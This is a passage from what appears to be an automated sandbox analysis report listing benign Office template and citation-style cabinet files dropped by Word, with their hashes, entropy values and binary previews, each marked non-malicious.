Entropy (8bit):	3.5359188337181853
Encrypted:	false
SSDEEP:	6:Q+sxnxUXe46x8RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyO3UymD0wbnKNAH/lMz1
MD5:	0FEA64606C519B78B7A52639FEA11492
SHA1:	FC9A6D5185088318032FD212F6BDCBD1CF2FFE76
SHA-256:	60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13
SHA-512:	E04102E435B8297BF33086C0AD291AD36B5B4A97A59767F9CAC181D17CFB21D3CAA3235C7CD59BB301C58169C51C05DDDF2D637214384B9CC0324DAB0BB1EF8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.p.o.r._.T.r.a.i.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\cabDA8C.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31562
Entropy (8bit):	7.81640835713744
Encrypted:	false
SSDEEP:	384:yhsBScEWkrljntbzuMmWh7ezPnGgbA8E0GftpBjohgsRFLrHRN7ybll7PK/p:MsBScwtnBmWNeTzA8PiuWsvyDI
MD5:	1D6F8E73A0662A48D332090A4C8C898F
SHA1:	CF9AD4F157772F5EDC0FDDEEFD9B05958B67549C
SHA-256:	8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673
SHA-512:	5C03A99ECD747FBC7A15F082DF08C0D26383DB781E1F70771D4970E354A962294CE11BE53BECAAD6746AB127C5B194A93B7E1B139C12E6E45423B3A509D771FC
Malicious:	false
Preview:	MSCF....:<......L...........................:<...?..................D;.......V..............harvardanglia2008officeonline.xsl.L...............Content.inf.Vu......[...E..o..3D.5..nF.A..+.e.....6r..f........M3...-.s.m.... $r.b.!.q!.....G...0.\.......fd......%m...'1Y..f..O....#.P.,{..m...\|..ww.{.m...f...n%...,..y...0y...8.Q...`.../.q....a...',.V......8.7..8t..................6.]..6..nw..ynm..-l.Y..,.I?..$....+b9$E!S@"..) .4........H...lA...@!a.F.l$..0#!.....n&.5j.t+..1f\|.+....E.zDk.l8.+<q.^.........\5.l..iT.9...........Y..6.^,.o.bn.E5w..s.../...W.gS..j9..'W.F......].4\Mzz..Td..Ho..~.Q...Z..D..O.JP..m..s.j.:..........y._.....#..rD....60.\!y........p.o3,..Ub,......[[L.{.5.....5.7UDB9.{;;g.z.z..jM.G.MY.oe.....(r..B6..CV.7Fl.Z/....-.O.vY.c...-..........b.T)3.u..f~x2.?.8.g.x.-.....Qt_...$e.l..jtP..b....h...sW0.`.....c...F_....t.........LC..*5I.X$^.;&....#.._\J..........;..wP..wX.qy.qs...}46..fK.XN.&0........k1....8...............'t.......}.......O_.

C:\Users\user\AppData\Local\Temp\cabDA8D.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31835
Entropy (8bit):	7.81952379746457
Encrypted:	false
SSDEEP:	768:ltJDH8NmUekomvNufaqA8Pi6x5q3KQIGu:lvINukgzP7x5mRIGu
MD5:	92A819D434A8AAEA2C65F0CC2F33BB3A
SHA1:	85C3F1801EFFEA1EA10A8429B0875FC30893F2C8
SHA-256:	5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375
SHA-512:	01339E04130E08573DF7DBDFE25D82ED1D248B8D127BB90D536ECF4A26F5554E793E51E1A1800F61790738CC386121E443E942544246C60E47E25756F0C810A3
Malicious:	false
Preview:	MSCF....K=......L...........................K=...?..................q<......................gb.xsl.................Content.inf.EF/.....[...A....3D.4..oVP!i/......t.6..l&9r0.8......c..q.^........$/..(./H ...^_Z0\4.42WU......P.F..9.._....'.D..<H@..E.b,K..9o..wo..v\|..[.{7m.......\|}aI..\|g....IF2au?.1,..3.H.......ed....-.........m....$..8&0..w........2....s....z..d.Z.e.....@$r[..r..4...."E.Q@...Hh.B"b>...$.L.$.P.._..~.?./T..@..F..?.~G...MS..O%Z3k..:..._...!GF..U...!..W..$..7...j......xy0..../.j..~4......8...YV....Fe.LU..J.B.k%BT5.X.q.w.a4....5..r...W.6.u...]i...t.....e.\.K............#t.c5.6....j...?#..{.m3.L9...E/....B[R.k(.'....S.'.}!j.tL..v....L....{<.m4......d_kD..D.....4`aC....rg..S..F.b..^........g;.`?,......\..T.\.H.8W.!V...1.T1.....\|.Uh....T..yD'..R.......,.`h..~.....=......4..6E..x#XcVlc_S54 ..Q.4!V..P...{w..z...u.v....DC...W.(>4..a..h.t.F.Z...C.....&..%v...kt....n..2....+.@...EW.GE..%.:R`,}v.%.nx.P.#.f.......:.5(...]...n3{...v........Q..

C:\Users\user\AppData\Local\Temp\cabDA9E.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.840826397575377
Encrypted:	false
SSDEEP:	768:i3R9VYnIYfPYmqX0CnF1SRHVnLG8Pi61YbEIFO:ih9VjYfPYlk+F1SJxP71YbEIFO
MD5:	62863124CDCDA135ECC0E722782CB888
SHA1:	2543B8A9D3B2304BB73D2ADBEC60DB040B732055
SHA-256:	23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3
SHA-512:	2734D1119DC14B7DFB417F217867EF8CE8E73D69C332587278C0896B91247A40C289426A1A53F1796CCB42190001273D35525FCEA8BA2932A69A581972A1EF00
Malicious:	false
Preview:	MSCF.....H......L............................H...?...................G......................APASixthEditionOfficeOnline.xsl.H...............Content.inf..h;.....[...Q..\..3S.5..oVP!i/Z.Ls...]q$...xY..+W.qm..B..y/.5.s..x$../K./.x.$.....}.......\........LNf..Hd.&."Ip.L.Mr-@.D..kW~i...^.....F.....T.U....../..0..2.{.q.T.`'{.00.{.B...>.R..2....1.~_.f..s...........~....~[..v..w..v....$[K.r$#[6...d;[...#.9.-...G..Z..eAR.0")%JI?&....$..$.H..$(........f.> k....hP...p...!j.T......l7..../3..(2^V...#..T9...3.@[0...le:...........E....YP.\.....au1...\.S\|..-.duN.Z..g.O......X8....1.....\|,.f/..w.\|Wk]zJz.g'./7h..+.....}............x....s.2Z\..W.{...O....W.{j.U..Q....uO=.p.M k.E.S{SUd.@....S.Syo8>......r......8..............Z?>.mUAg....?o....f.7..W.n...P..........d.S?...\..W`...c.ua..........#.Y...45...F(d.o\09^..[.}...BsT.SD..[l.8..uw.7l..S.9T.KR..o......V..]...M .....t.r...:P...M....4.F.....@..t.1t..S...k.2.\|5...i.%H..<.J...0n.....lZ.....?.?.~..O .)..

C:\Users\user\AppData\Local\Temp\cabDA9F.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	26944
Entropy (8bit):	7.7574645319832225
Encrypted:	false
SSDEEP:	384:sbUX16g8/atF4NB3TJOvqeMRD/8svIZj/OwgbA8E0GftpBjEYwFLrHRN7mYll7PY:sbhg8yY4nMZK2hA8Pi6Yum4IVR
MD5:	F913DD84915753042D856CEC4E5DABA5
SHA1:	FB1E423C8D09388C3F0B6D44364D94D786E8CF53
SHA-256:	AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578
SHA-512:	C48850522C809B18208403B3E721ABEB1187F954045CE2F8C48522368171CC8FAF5F30FA44F6762AFDE130EC72284BB2E74097A35FE61F056656A27F9413C6B6
Malicious:	false
Preview:	MSCF....0......D...........................0...?..................t,..............ConvergingText.glox.....t,..........Content.inf..C..)t-[.....@.........=...xxA. ...E^....x.x.^.......x..^^...DF.......s..d.P.....5.;..]...2.t.w.....O9.G..;.'.T....@I.,.q.u.3..P...9... ....`J.......g.(....).,.h0.....$.3..;.._.....~.de.jj.....U..K.0....`.@.H.1.x.Z.@..q....?....x.wW.....+am8A".....I..)..]...s..-z.2S+\|.Cb.t6f],.n.LV......OVg....O.at\|..-..x.....:....]s...u..g}.P..v.3....^.".%..%...#.2.....l00...n.......r8.p.....^.....n.)..,..t.^$b...b.q.W...F..R...n.-.+..'........Aw=._OwH....8.:s..{.#..{N.hW..`.._........Wy....>U.?....-.8tg...=..y..@.,.v\|......l...t..l#{...H....9..\|......~...De..#@y.&K....U...q.c.zK..D.<pV.....Ql..&Y...=#...w....r.`#2....Ug.J(..T...KmW.@...!....j:......M......!..E.7#s.t..F.aU..N....-.i......\|w.lr..G.n.,.......=Kl.-m.?F.....v]?.......{q.U.t...<.\|..u.....3R.`.t.T.>;v.....KQ...S...7..1...N.kN.y.)v.....3H:..D.{.+.(......u..^W&.

C:\Users\user\AppData\Local\Temp\cabDAA0.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	32833
Entropy (8bit):	7.825460303519308
Encrypted:	false
SSDEEP:	768:+0TU06CkaUYMoi//YX428RaFA8Pi6e9iA4I3w:vICTm/QorUpP7eAA4I3w
MD5:	205AF51604EF96EF1E8E60212541F742
SHA1:	D436FE689F8EF51FBA898454CF509DDB049C1545
SHA-256:	DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D
SHA-512:	BCBA80ED0E36F7ABC1AEF19E6FF6EB654B9E91268E79CA8F421CB8ADD6C2B0268AD6C45E6CC06652F59235084ECDA3BA2851A38E6BCD1A0387EB3420C6EC94AC
Malicious:	false
Preview:	MSCF....1A......L...........................1A...?..................S@......v...............iso690.xsl.................Content.inf.B.9.....[...A.c...32.E...P..'.^}.f...ikMJ....m..s..U.w{m{{...}n.4........I. ..9..d..I.......P\|....F...F.......&&J.:I.34......+M3..4mr.........m.r..m)....dK.wiw...H,...r........y.$..Cu...L...dH.../..V......g.PG$R39...4O..............{w..^....c.m.m.o.....#..Fgs..6.....b....3.I..O....B..B..1h"....K\|f .41......_..g.N.<.>........(....o3a.M)....J..}....-......8.......g.hm!r<...-..1.1....q.?....S.m...`L.g#.K.igv.].ghD....L...p5..?.......iP.[JS.J..?z~.T/.Q...E.K.......P+\LW.-.c..[9.n.7.....P...[.A1....m...4h.9...N[....h5 n%k.~RR.c..n..=...4....).eH.-./..>.....r..S.*..dE.........pF..s.A..?...f..u.+.{..?>N.4].}Xb.M......y......'.2..'..........J4{r..r.3........5>..a0.>.u_.y@g....+y.yu--,ZdD.........5]3..'.s...\|.....K.....T..G.G.e...)..\x..OM.g...`..j0......BfH...+.....:......l`.qU...;.@...",.."........>;P.B.^F...3!......Rx.9..

C:\Users\user\AppData\Local\Temp\cabDAA1.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31471
Entropy (8bit):	7.818389271364328
Encrypted:	false
SSDEEP:	768:eNtFWk68dbr2QxbM971RqpzAA8Pi6TlHaGRA5yr:eNtEkpGSbuHAkP7TlHaGq54
MD5:	91AADBEC4171CFA8292B618492F5EF34
SHA1:	A47DEB62A21056376DD8F862E1300F1E7DC69D1D
SHA-256:	7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA
SHA-512:	1978280C699F7F739CD9F6A81F2B665643BD0BE42CE815D22528F0D57C5A646FC30AAE517D4A0A374EFB8BD3C53EB9B3D129660503A82BA065679BBBB39BD8D5
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......g...............sist02.xsl.................Content.inf....!....[...=.rF..3U.5...g.i?..w.oY..If'.......Y.;.B.....Wo.{T.TA.~......8......u.p....@Q..k.?.....G....j.\|.J69H.2.ee..23s..;3..i..L.,...0se.%J........%.....!.....qB...SC...GAu5.P..u7....:.\|.$Fo............{.......v.v.g..{o....e.....m.JeRG..,.%.1..Lh.@8.i.....l.#.HB`B....C......D@....?....P?..................\|.9..q.......9.n.....F...s,....3..Q..N......y......_i..9\|.<w...'q.Tq...U.E.B...q.?.4..O(_O.A.......jC.~.21.7.....u.C...]uc.....-.g.{C~9q.q.1.1...4..=.0.Z.^....'../....-.6.K.....K...A#.GR..t.@.{.O.......Q5..=....X...^...F3.e.E.Z..b+R..?Z..0T1.....gQz.&....%y=zx.f.....6-...u.Rm..x<...?...!g@.}..).J...:...9.s&.v..}..'...\..Sd..F...........kQr.....h..3..1....B...B{M...%O.59.\.#....s/.pE.:}...k_.P.>.zj....5\|.9+....$M..L........(...@#.....N.....N...........E..7..R$.:9!r>7.....v...>..S.w....9..]..n.w.;&.W..<r\S....

C:\Users\user\AppData\Local\Temp\cabDAB2.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20457
Entropy (8bit):	7.612540359660869
Encrypted:	false
SSDEEP:	384:KyeISBuydn5rpmp77G8E0GftpBjE/kFLrHRN7ngslI66YVj:KHISBvd5rpmFG8Pi6/6nK666j
MD5:	4EFA48EC307EAF2F9B346A073C67FCFB
SHA1:	76A7E1234FF29A2B18C968F89082A14C9C851A43
SHA-256:	3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2
SHA-512:	2705644D501D85A821E96732776F61641FE82820FD6A39FFAF54A45AD126C886DC36C1398CDBDBB5FE282D9B09D27F9BFE7F26A646F926DA55DFF28E61FBD696
Malicious:	false
Preview:	MSCF............D................................?..................................chevronaccent.glox.................Content.inf..O.$N...[.........B.....?.....$Zy..Zkr...y<.....Di-.aVX/....h..-.~........#.../.Fz....T...p....A..eHMe[..p...=................f..../%o......F@..=..$.B!....}.0..g..^vlI......f.W.F...Nm..2`...)...,.HL4.nsl.F.ir.k..e.!^.j2.v.iT....t.....!h..Y...2Q..-.x.,.Xj.U.cj,....9.....)..W..n3f.......(cH.D.4M.!.+..4..3r..y......\|r..@.PD.R..#...F..nJAR..1{-.....u3..$..L.b+h....:lZ.>....q.?. ~l..^.%.m....a...cG.h.?.\|.?7.'....b.G.4..'..A...o.Z...//..?...d.......C..Z.....]Yv.g.]..... .........]x.#=.../.7;R.j....G.....zq=O`[.'5g.D.u..)..../../.v.JmCW.da....3.f..C.z%...S=....;A.q.\|....z.E.aRu........ k..J"+.f.S.@.........eD4....\0..t./U..%.H..........M:..U.......J...Z..H.DG..u^..D..P....`.^b.........`c......#.....c.?...#..C.V.&.'..f.'...f.[..F.O..a...&..{TiXg4; .X."..0...B.#..^..........N"..w.@f...gd.S..K.....E....ZR...;.twR>.z.

C:\Users\user\AppData\Local\Temp\cabDAE7.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	7.662386258803613
Encrypted:	false
SSDEEP:	384:M7FUtfIdqSHQs7G8E0GftpBjED/C4RQrFLrHRN7TT8DlvQyUTL2mH:sWgdqR2G8Pi6D6YQZTTMvU+mH
MD5:	ABBF10CEE9480E41D81277E9538F98CB
SHA1:	F4EA53D180C95E78CC1DA88CD63F4C099BF0512C
SHA-256:	557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957
SHA-512:	9430DAACF3CA67A18813ECD842BE80155FD2DE0D55B7CD16560F4AAEFDA781C3E4B714D850D367259CAAB28A3BF841A5CB42140B19CFE04AC3C23C358CA87FFB
Malicious:	false
Preview:	MSCF............D................................?..................................architecture.glox.................Content.inf..q5.^...[.....0y......../..CL.C5.Q..U5g.z....UUUMPC...C..P....T.....=..s..4c...-3H..E...2..2*..T...../.i.;$..............%...................'h.........#0.......[........c.h.....O...%.61...[.J..:.,^....W.]$..u...N.R.....H.......:%I.g5Kd.n6...W2.#.UL..h.8NN../.P...H.;@.N.F...v."h..K.....~.....8...{.+...&.#A.Q'..A.....[NJ.X.....\|.\|.G5...vp.h.p..1.....-...gECV.,o{6W.#L....4v..x..z..)[.......T.....BQ.pf..D.}...H....V..[._.'.......3..1....?m..ad..c(K.......N.N.6F%.m......9...4..]?...l6..).\p;w.s....@...I%H.....;\...R......f...3~:C...A..x....X...>...:~.+..r@..."......I..m.y..)F.l..9...6....m...=..Q.F.z..u......J].{WX...V.Z.b.A0B..!....~.;Z.....K.`c..,X.MFz....].Q.2.9..L."...]...6...JOU..6...~../......4A.\|.......i.LKrY...2.R.o..X.\....0.%......>H.....8.z..^....5d\|...4\|...C......R28.E......a....e...J.S..Ng.]<&..mm

C:\Users\user\AppData\Local\Temp\cabDAF9.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	35519
Entropy (8bit):	7.846686335981972
Encrypted:	false
SSDEEP:	768:2LFougzHaUdBKUsM+Z56zBjA8Pi6bo+ld8IX:MFodzHaULR9P7bo+l6IX
MD5:	53EE9DA49D0B84357038ECF376838D2E
SHA1:	AB03F46783B2227F312187DD84DC0C517510DE20
SHA-256:	9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374
SHA-512:	751300C76ECE4901801B1F9F51EACA7A758D5D4E6507E227558AAAAF8E547C3D59FA56153FEA96B6B2D7EB08C7AF2E4D5568ACE7E798D1A86CEDE363EFBECF7C
Malicious:	false
Preview:	MSCF.....K......L............................K...?...................J.......@..............turabian.xsl."...............Content.inf._.......[...T.....C4.5...E0B.]...+.-f....rc.[52.$...a..I....{z...`hx.r...!.. $...l..\....#3EF..r..c;<p...&n.\b..K..0Y..c+.2...i..B..wwY..77,...........}.q.C.......n..,.....prrx.QHy.B#..,.'....3....%1.``..hf...~...[.[n.v.s..y.vw....;..s.G293G&H....$E......m.&^..iy/.4.C...D...".(H&..&.I4._...!...... ........q.k1.d.....qc.3.c.....;.5.......y}...}&...+.WAN.,zVY.Q....V.Tz........g..H..c...E2jY...4g?.yf<....V.M.s.$..k.Id....+..?..._.\.s.k..9..I%;.yWQ..S..]...n<.7........=......"Q.E.....MG..j.Yt..!U....Q.j...v.h-.~b..e&.......;...\.....:.....=..Xv1&q........6\...xw.%.VdS..H...o...s.....+..%[../>.t..I....F.....".G\|.....=....[..S..3..a.C.ZZ...tK.6N..b........)>........I..m..QE.M.nv.MVl.....vCG>,.suP.gqo.rr....J`m....J.b..},[F....e.A.]..r....C4.?JJs6..l.].9...Q.B.~.......\d%.X ...8A....rH....&?#...^.....4.h.{>

C:\Users\user\AppData\Local\Temp\cabDAFA.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20235
Entropy (8bit):	7.61176626859621
Encrypted:	false
SSDEEP:	384:j3W3yGyjgbA8E0GftpBjEHvFLrHRN7pDAlI66Yv1:j3WFyAA8Pi6HVpDZ66c1
MD5:	E3C64173B2F4AA7AB72E1396A9514BD8
SHA1:	774E52F7E74B90E6A520359840B0CA54B3085D88
SHA-256:	16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094
SHA-512:	7ED618578C6517ED967FB3521FD4DBED9CDFB7F7982B2B8437804786833207D246E4FCD7B85A669C305BE3B823832D2628105F01E2CF30B494172A17FC48576D
Malicious:	false
Preview:	MSCF............D................................?..................................BracketList.glox.................Content.inf....7r...[.... G.q..@...B.....?X!.A.......!........X..Vk.JK...Z..=......PD.....P....5...jp..+..T....b.)np5.7.....Zz........... ..!.....S......1....`....h......T?.Nq../......z....[..:..5f;....O...d.FxD...4...Z....[..a...w..W.[..P...5.]...6..."...+t].!...2\%%`Q.\..)...=>.)......a.$.2.,...2,.Lw.?..+..qf....h....T/B.....}T.E...'.%.....,.......X....b..gt.hPYc\|.....a...j...=...{..a.`!8!..\|...L.T..k..!,.R.z/W....{..,...+..w.m..sQ..7<x..B....?....\.)..l...d...}.....v..W.C..'=p1c.Z=.W.g.e....&wm..N,..K.T../.oV../=9.}.....".28...r.Q....dzj{....S...1m...x9_...2PXpa...Q.n.$z...c..SGq...k......}kPE.....3.\|.5A.>..6.......+)qCB....q....qNkGe...W]..o..Z...J.<.i......qq.8....q..BE.(...._h.U.\@3.F...KdO..=1j+....).Q.\|B..Z..%......LDYk....j.....{klDW..#CVy}...X..O!..}..s..&..DC.....tL.j..b.......[...n.'..1..Xc...9Q..gM.....n..3...v.....~.).

C:\Users\user\AppData\Local\Temp\cabDAFB.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31482
Entropy (8bit):	7.808057272318224
Encrypted:	false
SSDEEP:	768:LgHv7aLOcoLGQ4EykdrHwLa+A8Pi6Iv8ACIa:LwvWyx4EykdTwLaWP7I0ACIa
MD5:	F10DF902980F1D5BEEA96B2C668408A7
SHA1:	92D341581B9E24284B7C29E5623F8028DBBAAFE9
SHA-256:	E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02
SHA-512:	00A8FBCD17D791289AC8F12DC3C404B0AFD240278492DF74D2C5F37609B11D91A26D737BE95D3FE01CDBC25EEDC6DA0C2D63A2CCC4AB208D6E054014083365FB
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......................gosttitle.xsl.$...............Content.inf....v....[...=..Ic.32.E...`o.............m....4uk[.,.......{...}k{.R@(Hq..68nv...@.D.....$...j....8Q..........8.8........3....bi?Wt...:(..J.;&eii..io.w..z...`.'..i.MLR@.>....N..3`P.>$X@(r.#.D..(....P"_..I.$o.. L!y...I...H.........{.{....{.3....7..w..{w.2sn.dYn.lW...l...c$.UH....L6. .D$$...!F.!... .D............_..'.`.Q.v>..Z..f.n.l....0o.......bK...?s..eO....'.>t......S'..........~....h...v&7:q.x9\|qs...%....:..D...ag.....e..'...".A.Y..?w"....p1t.9J.~.4.........~vj.n.8.;.O......../.}..io{p...e...\m.d`.gAm.......1"...N...8..g"......~..[.e+.....\6i4.....%...Rq.U-p?..4P..4.f.?N.vI?.M\i.;.s..E.L.hu.*...\..5....N......]......\`...rS.\g.....2..!a).?.l.!i.^.t.u...x...g/.A..v.E...\.@.>kM...&.g.....%.......{.....2..E.g...'..[w...N.w..& 4M.a.cu.%:...\.D..Q..C.'fm..i....@._......QI.. ....h..\|fB.il.(`..h.d;.l...`.s:

C:\Users\user\AppData\Local\Temp\cabDB0C.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22149
Entropy (8bit):	7.659898883631361
Encrypted:	false
SSDEEP:	384:b98FG/zdCbf7BOEawSi8E0GftpBjEPTFPxFLrHRN7S5ll7PK/pA2:N/zAbDae8Pi6PFPSRIA2
MD5:	66C5199CF4FB18BD4F9F3F2CCB074007
SHA1:	BA9D8765FFC938549CC19B69B3BF5E6522FB062E
SHA-256:	4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F
SHA-512:	94C434A131CDE47CB64BCD2FB8AF442482F8ECFA63D958C832ECA935DEB10D360034EF497E2EBB720C72B4C1D7A1130A64811D362054E1D52A441B91C46034B0
Malicious:	false
Preview:	MSCF....u.......D...........................u....?..................................HexagonRadial.glox.................Content.inf.........[.....`........./.mT.T6...CP..z5...0.PcUmCUSUCU.Q.P.0..f............^...H..2e.[..8...ld......F.%.j.w!R..NA.L............ .r..z....$&.........P.=.r...O...e..dfv_.i%.C....^......?..x...+d..].B.3..EU...\|Cc..z.`lQp..fr.....8!;.8.p.ZwH\.........~..T.t..]..H.]..S.2..Vt.....r.H../..-8........!:.Y&..\|A..J.U...-.%..k..U...4m.. .q../..b.8.vc~......_q1.?..Bh.v.....L..I.$I..s.".u.. Y....I^5.v...3.......].^)b.t.j...=...Ze~.O...\|.}T.._9c........L....BV.^......X..?.....{.>.j..5.m...d.7........g[..f.nST...i..t..\|.T.jjS..4p.Pxu....W...\|.A)..\|9;....H.e.^.8D..S...M..Lj.\|...M.m+..H.....8.&-....=.L.....n.v..M.9...l....=r......K.F.j.(.(xD.3..r'9.K..-...5..Z..x....._....a[...J...`.b_a\\j.ed..\.3.5....S.T...ms.....E...Xl.y.LH=...}..0.T...04.4..B[..H.....B{B9.h..=.8Mn.*.TL.c..y.s.?.c9$l...).h).6..;.X../_>Pl...O...U.R..v.dy$A

C:\Users\user\AppData\Local\Temp\cabDB0D.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	28911
Entropy (8bit):	7.7784119983764715
Encrypted:	false
SSDEEP:	384:WnJY165YD0tPYoCKa3HueqRyzVscLk1Yj2GjcgbA8E0GftpBjE2kWTpjFLrHRN7N:X4rtPzCK6uRoljXBA8Pi62ZphL0HRA5p
MD5:	6D787B1E223DB6B91B69238062CCA872
SHA1:	A02F3D847D1F8973E854B89D4558413EA2E349F7
SHA-256:	DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4
SHA-512:	9856D88D5C63CD6EBCF26E5D7521F194FA6B6E7BF55DD2E0238457A1B760EB8FB0D573A6E85E819BF8E5BE596537E99BC8C2DCE7EC6E2809A43490CACCD44169
Malicious:	false
Preview:	MSCF.....1......L............................1...?...................0......"}..............ieee2006officeonline.xsl.:...............Content.inf.........[...G."...3$pE...G B....m3o[...I2&.f.,\..........}.n..{..e.8!^.3.A@...x..... .D.52gU..]..."..N8....s..CS..J3..HV...m...y..o....F.z......V.j._....=~k.....'.dY........1........#...d13.g.&C...C.xw.`f.hf..........]M....m.m....ud...,+.H~..cL...e#;(RI...eA....I.b...E...2..(...$.j...L...$..A....'[...H9..&..G.Q....".M.yl....]..?j%+....O~.....\|.se...K\.B"W..F.5.......=s...l.Y...K..yN.TBH[...sTWR.N.d...WEa....T.d.K.^sauI......m..s=.,qso5.b.V.s.]..9..,k4.\..L.;D...........;r.C...7.w.j..:N8.V6..a.3..j:A.mA..To..$.5....:./..p.x.3.=..__...8.EB.K...].-."..5-XU..J.....=o..K.Wavg.o].z.9.gk.._.........MZ.<.5............OY.n.o...r.9v.c.......[n.[..D...d..}.j.....LB,]_.9..St.@..C....\...^....-&.njq..!P....G^.....w.7.p~.......M..g.J............t1......q.w.rx...qp.....E.........-...2..G.........z.]B........d....C.@...@.

C:\Users\user\AppData\Local\Temp\cabDB0F.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31008
Entropy (8bit):	7.806058951525675
Encrypted:	false
